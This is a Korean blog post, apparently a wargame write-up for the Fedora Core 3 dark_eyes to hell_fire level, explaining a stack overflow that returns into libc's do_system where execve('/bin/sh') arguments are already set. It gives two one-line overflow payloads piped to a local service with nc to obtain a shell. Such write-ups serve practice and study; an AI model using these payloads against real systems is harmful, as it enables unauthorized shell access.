systemhacking/practice

fedoracore 3 dark_eyes->hell_fire

qkqhxla1 2015. 2. 20. 16:07

http://smleenull.tistory.com/309 에 설명이 잘되있음.


왜 do_system을 gate에서 쓰면 안되는지는 여기에 또 잘 나와있음 http://sanguine.leaveret.kr/3


do_system을 이용하면 쉽다고 하는데, do_system은 system함수에서 내부적으로 호출하는 함수라고 함. 



사진을 살펴보면 0x750809에서 do_system함수를 호출한다. system함수 내부에서 execve를 호출한다는건 알고 있다. 근데 이 execve는 do_system함수 내부에서 호출된다.



do_system내부의 0x7507ad에서 execve가 호출되는걸 알수 있다. 그런데 execve가 호출되기 이전에

0x750784주소에서 인자들이 세팅되는데, http://sanguine.leaveret.kr/7 에서 보면 

execve("/bin/sh",{"/home/dark_eyes/hell_fire",NULL},envp) 가 되서, 자동으로 인자구성이 되있다고 한다. 그러므로 저 인자구성되는부분으로 리턴주소를 돌려주면 그냥 쉘이 따진다고 한다.

(python -c 'print "a"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777



2. main?을 두번 호출??

http://pesante.tistory.com/entry/Fedora-Core3-%EC%9B%90%EC%A0%95%EB%8C%80-Level3-darkeyes 

(python -c 'print "a"*268+"\x84\x84\x04\x08"+"a"*8+"\x03\x36\x83\x00"+"\n"+"e"*268+"\xc0\x07\x75\x00"*3';cat) | nc 127.0.0.1 7777


처럼 하면 된단다. 원리는.. 리턴주소를 메인함수로 변조하고


another fake ebp를 이용.


'systemhacking > practice' 카테고리의 다른 글

fedoracore 3 hell_fire->evil_wizard  (0) 2015.02.25
io.smash the stack 6~8  (0) 2015.02.21
fedoracore 3 iron_golem->dark_eyes  (0) 2015.02.17
fedoracore 3 gate->iron_golem  (0) 2015.02.15
io.smash the stack 1~5  (0) 2015.02.12